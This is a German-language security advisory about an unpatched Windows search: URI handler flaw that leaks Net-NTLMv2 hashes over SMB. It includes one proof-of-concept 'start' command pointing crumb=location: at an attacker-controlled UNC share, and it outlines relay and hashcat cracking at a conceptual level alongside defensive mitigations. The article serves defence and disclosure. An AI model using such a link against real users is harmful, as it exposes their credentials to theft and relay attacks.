NTLMv2-Hash-Leak über Windows-Search-URI: Risiko und Gegenmaßnahmen

Forschende von Huntress haben Details veröffentlicht zu einer ungepatchten Schwachstelle im Protokoll-Handler search: unter Windows, die es Angreifenden ermöglicht, den NTLMv2-Hash eines Opfers zu erlangen. Das Problem ist einer früher behobenen CVE-2026-33829 im Windows Snipping Tool ähnlich, allerdings weigert sich Microsoft, einen Fix bereitzustellen, da die Schwachstelle die Schwellenwerte für „Important“ oder „Critical“ nicht erreiche. Organisationen, die NTLM-Authentifizierung einsetzen, wird dringend empfohlen, umgehend kompensierende Maßnahmen umzusetzen – insbesondere ausgehenden SMB-Traffic zu blockieren und SMB-Signierung zu erzwingen.

Mechanismus der Attacke: vom URI-Handler bis zum Hash-Leak

Die Ursache des Problems liegt darin, wie Windows das URI-Schema search: verarbeitet. Nach Angaben des Huntress-Forschers Andrew Schwartz akzeptiert der Parameter crumb=location: beliebige UNC-Pfade ohne hinreichende Validierung. Wenn ein Nutzer einem speziell präparierten Link folgt, initiiert das Betriebssystem eine SMB-Verbindung zu dem vom Angreifenden angegebenen Server und übermittelt im Rahmen der Authentifizierung den Net-NTLMv2-Hash des Opfers.

Beispiel für einen Befehl, der die Ausnutzung demonstriert:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

Der Angriffsvektor erfordert Benutzerinteraktion: Das Opfer muss einem speziell präparierten Link folgen, der in eine Webseite oder E-Mail eingebettet ist, und den Start des URI-Handlers bestätigen. Anschließend stellt das System automatisch eine Verbindung zu der SMB-Ressource des Angreifenden her und legt dabei den Hash offen.

Bezug zu bereits behobenen Schwachstellen

Das beschriebene Problem ist die logische Fortsetzung einer ganzen Klasse von Schwachstellen, bei denen NTLM-Hashes über Windows-URI-Handler exfiltriert werden:

• CVE-2026-33829 – eine ähnliche Schwachstelle im Handler ms-screensketch: (Windows Snipping Tool), bei der der Parameter filePath keine Validierung durchlief und beliebige UNC-Pfade akzeptierte. Microsoft hat dieses Problem im April 2026 als Spoofing-Schwachstelle behoben.
• CVE-2023-35636 – die Nutzung des Parameters crumb zum Diebstahl von NTLM-Hashes wurde bereits im Februar 2024 von Forschenden bei Varonis im Kontext einer Outlook-Schwachstelle dokumentiert.

Nach Einschätzung von Huntress nutzt das neue Problem denselben NTLM-Leak-Mechanismus, führt zum gleichen Ergebnis (Offenlegung des Net-NTLMv2-Hashes), weist dieselben Voraussetzungen für eine Ausnutzung auf und entspricht vermutlich ebenfalls einem „Moderate“-Rating. Der entscheidende Unterschied: Microsoft hat sich dagegen entschieden, einen Patch zu veröffentlichen.

Risikobewertung

Ein abgefangener NTLMv2-Hash eröffnet Angreifenden zwei wesentliche Angriffsrichtungen:

• Relay-Attacken – Weiterleitung des abgefangenen Hashes an interne Dienste, um sich im Namen des Opfers zu authentifizieren, ohne den Hash knacken zu müssen.
• Offline-Passwort-Cracking – bei schwachen Passwörtern kann der Net-NTLMv2-Hash mit Tools wie hashcat geknackt werden.

Am stärksten gefährdet sind Unternehmensumgebungen, in denen NTLM weiterhin für die Authentifizierung genutzt wird und ausgehender SMB-Traffic am Perimeter nicht blockiert ist. Wichtig ist dabei: Zum Zeitpunkt der Veröffentlichung sind keine bestätigten Fälle einer Ausnutzung dieser Schwachstelle in realen Angriffen bekannt, und sie ist nicht im CISA-KEV-Katalog aufgeführt. Dennoch schaffen ein öffentlich verfügbarer PoC und das Fehlen eines Patches ein Zeitfenster, das Angreifende ausnutzen können.

Empfehlungen zum Schutz

Da ein offizieller Fix von Microsoft derzeit fehlt und nach aktueller Haltung des Herstellers auch nicht zu erwarten ist, müssen kompensierende Maßnahmen auf Infrastrukturebene umgesetzt werden:

1. Ausgehenden SMB-Traffic blockieren (TCP/445 und TCP/139) auf Hosts, die keinen Zugriff auf externe File-Server benötigen. Dies ist die effektivste Maßnahme, um ein Abfließen von Hashes aus dem eigenen Netz zu verhindern.
2. SMB-Signierung erzwingen (SMB Signing) – selbst wenn ein Hash innerhalb des Netzes abgefangen wird, kann er nicht für Relay-Attacken gegen Dienste mit verpflichtender Signierung eingesetzt werden.
3. NTLM-Authentifizierung deaktivieren, wo immer möglich, und auf Kerberos umstellen. Die Gruppenrichtlinie Network security: Restrict NTLM ermöglicht es, die Nutzung von NTLM im Domänenverbund schrittweise einzuschränken.
4. Monitoring auf anomale SMB-Verbindungen – Alarme für ausgehende SMB-Verbindungen zu untypischen externen IP-Adressen einrichten, da dies auf einen Exploit-Versuch hinweisen kann.

Dass Microsoft für eine Schwachstelle mit dem Rating „Moderate“ keinen Patch bereitstellt, ist nicht beispiellos, verlagert die Verantwortung für den Schutz jedoch auf Administratoren. Vorrangig sollte die Blockierung ausgehenden SMB-Traffics am Netzperimeter umgesetzt werden – diese Maßnahme schließt nicht nur die konkret beschriebene Schwachstelle, sondern einen ganzen Satz von Angriffen, die auf erzwungene NTLM-Authentifizierung über UNC-Pfade setzen. Organisationen, die weiterhin von NTLM abhängen, sollten dies als weiteren Anlass nehmen, eine Migration auf Kerberos voranzutreiben.